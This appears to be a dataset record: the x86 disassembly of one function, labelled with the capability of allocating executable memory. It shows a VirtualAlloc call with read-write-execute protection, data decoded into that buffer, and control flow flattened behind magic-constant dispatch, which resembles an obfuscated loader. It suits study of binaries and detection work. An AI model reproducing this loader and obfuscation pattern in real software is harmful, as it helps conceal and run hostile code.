Function at 0x408de0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x3c
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x18]
add ecx, dword [eax + 0x11]
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
add eax, dword [ecx + 0x15]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x30], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 5]
mov dword [esp + 4], eax
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov dword [ebp - 0x28], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x34], 0x9c33c06a
mov edi, dword [sym.imp.ADVAPI32.dll_AddAccessAllowedAceEx]
jmp 0x408e60
mov dword [ebp - 0x34], 0x98389eff
mov eax, dword [ebp - 0x34]
cmp eax, 0x9735362d
jg 0x408e80
cmp eax, 0x830707d5
jne 0x408e60
jmp 0x408e59
cmp eax, 0x766e040c
jg 0x408ed0
cmp eax, 0x70c4c926
jg 0x408ee0
cmp eax, 0x6f157f67
jg 0x408ef9
cmp eax, 0x69ac471f
jg 0x408f43
cmp eax, 0x4dc6d54a
jg 0x408f8d
cmp eax, 0x98389efe
jg 0x408fa7
cmp eax, 0x9735362e
jne 0x408e60
mov dword [ebp - 0x34], 0xb12bce95
jmp 0x408e60
cmp eax, 0x766e040d
jne 0x408e60
mov dword [ebp - 0x34], 0xab4839f1
jmp 0x408e60
cmp eax, 0x70c4c927
jne 0x408e60
mov esi, dword [edi]
mov dword [ebp - 0x34], 0x98389eff
jmp 0x408e60
cmp eax, 0x6f157f68
jne 0x408e60
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x1c]
mov edx, 0x8de04599
sub edx, dword [ecx + 1]
lea eax, [edx + eax + 0x721fba67]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x24]
mov edx, dword [edx + 0x19]
add edx, ecx
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00408230
mov dword [ebp - 0x34], 0xa191bfa8
jmp 0x408e60
cmp eax, 0x69ac4720
jne 0x408e60
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x1c]
mov edx, 0x7e681b60
sub edx, dword [ecx + 1]
lea eax, [edx + eax - 0x7e681b60]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x24]
mov edx, dword [edx + 0x19]
add edx, ecx
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00408230
mov dword [ebp - 0x34], 0x6f157f68
jmp 0x408e60
cmp eax, 0x4dc6d54b
jne 0x408e60
inc dword [ebp - 0x2c]
mov dword [ebp - 0x34], 0x6450efa
jmp 0x408e60
cmp eax, 0x9c33c069
jg 0x408fd1
cmp eax, 0x98389eff
jne 0x408e60
mov eax, 0x3f73314a
cmp dword [ebp - 0x28], 0
jne 0x408fc9
mov eax, 0x766e040d
mov dword [ebp - 0x34], eax
jmp 0x408e60
cmp eax, 0xa191bfa7
jg 0x408ffb
cmp eax, 0x9c33c06a
jne 0x408e60
mov eax, 0x1096d617
cmp dword [ebp - 0xc], 0
jne 0x408ff3
mov eax, 0x70c4c927
mov dword [ebp - 0x34], eax
jmp 0x408e60
cmp eax, 0xa4e7781c
jg 0x409019
cmp eax, 0xa191bfa8
jne 0x408e60
mov dword [ebp - 0x34], 0xf2da79ff
jmp 0x408e60
cmp eax, 0xab4839f0
jg 0x40904e
cmp eax, 0xa4e7781d
jne 0x408e60
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ecx + 1]
add ecx, eax
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00407f20
mov dword [ebp - 0x34], 0x407c9502
jmp 0x408e60
cmp eax, 0xb12bce94
jg 0x409073
cmp eax, 0xab4839f1
jne 0x408e60
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x34], 0xef2629d7
jmp 0x408e60
cmp eax, 0xb4afbe7f
jg 0x409091
cmp eax, 0xb12bce95
jne 0x408e60
mov dword [ebp - 0x34], 0x830707d5
jmp 0x408e60
cmp eax, 0xcd1147b3
jg 0x4090af
cmp eax, 0xb4afbe80
jne 0x408e60
mov dword [ebp - 0x34], 0xa4e7781d
jmp 0x408e60
cmp eax, 0xcfbb9735
jg 0x4090e8
cmp eax, 0xcd1147b4
jne 0x408e60
call fcn.0040b330
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
not eax
or eax, 0xfffffffc
cmp eax, 0xffffffff
mov eax, 0xec9dcada
jne 0x4090e0
mov eax, 0xf2da79ff
mov dword [ebp - 0x34], eax
jmp 0x408e60
cmp eax, 0xec9dcad9
jg 0x40910c
cmp eax, 0xcfbb9736
jne 0x408e60
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x34], 0x299db488
jmp 0x408e60
cmp eax, 0xef2629d6
jg 0x40912a
cmp eax, 0xec9dcada
jne 0x408e60
mov dword [ebp - 0x34], 0x6f157f68
jmp 0x408e60
cmp eax, 0xf2da79fe
jg 0x409148
cmp eax, 0xef2629d7
jne 0x408e60
mov dword [ebp - 0x34], 0x299db488
jmp 0x408e60
cmp eax, 0xf3e7bb89
jg 0x40918f
cmp eax, 0xf2da79ff
jne 0x408e60
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
add eax, dword [ecx + 0x11]
mov ecx, dword [ecx + 0xd]
mov edx, dword [ebp - 0x28]
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call fcn.00408840
test eax, eax
mov eax, 0xdb5528a
js 0x409187
mov eax, 0xcfbb9736
mov dword [ebp - 0x34], eax
jmp 0x408e60
cmp eax, 0x6450ef9
jg 0x4091d9
cmp eax, 0xf3e7bb8a
jne 0x408e60
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax + 5]
mov edx, dword [ebp - 0x28]
add edx, dword [eax + 1]
add eax, 0xd
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.004027a0
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax + 5]
lea eax, [eax + ecx + 0xd]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x34], 0x4dc6d54b
jmp 0x408e60
cmp eax, 0xdb55289
jg 0x409208
cmp eax, 0x6450efa
jne 0x408e60
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
mov eax, 0xf3e7bb8a
cmp ecx, dword [edx + 0xd]
jb 0x409200
mov eax, 0x1e9e1690
mov dword [ebp - 0x34], eax
jmp 0x408e60
cmp eax, 0x1096d616
jg 0x409226
cmp eax, 0xdb5528a
jne 0x408e60
mov dword [ebp - 0x34], 0xb12bce95
jmp 0x408e60
cmp eax, 0x1e9e168f
jg 0x40924b
cmp eax, 0x1096d617
jne 0x408e60
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x34], 0x6450efa
jmp 0x408e60
cmp eax, 0x299db487
jg 0x40929a
cmp eax, 0x1e9e1690
jne 0x408e60
mov eax, dword [ebp - 0x24]
inc eax
mov ecx, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 0x20
call fcn.004027a0
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
mov eax, 0xb4afbe80
jne 0x409292
mov eax, 0xcd1147b4
mov dword [ebp - 0x34], eax
jmp 0x408e60
cmp eax, 0x2cf64a8a
jg 0x4092b1
cmp eax, 0x299db488
jne 0x408e60
jmp 0x409349
cmp eax, 0x3f733149
jg 0x4092d6
cmp eax, 0x2cf64a8b
jne 0x408e60
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x34], 0xab4839f1
jmp 0x408e60
cmp eax, 0x3f73314a
je 0x4092f0
cmp eax, 0x407c9502
jne 0x40931b
mov dword [ebp - 0x34], 0xcd1147b4
jmp 0x408e60
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
call dword [sym.imp.KERNEL32.dll_VirtualFree]
sub esp, 0xc
mov dword [ebp - 0x34], 0x766e040d
jmp 0x408e60
cmp eax, 0x411ca7f7
jne 0x408e60
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ecx + 1]
add ecx, eax
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00407f20
mov dword [ebp - 0x34], 0xa4e7781d
jmp 0x408e60
mov eax, dword [ebp - 0x10]
add esp, 0x3c
pop esi
pop edi
pop ebp
ret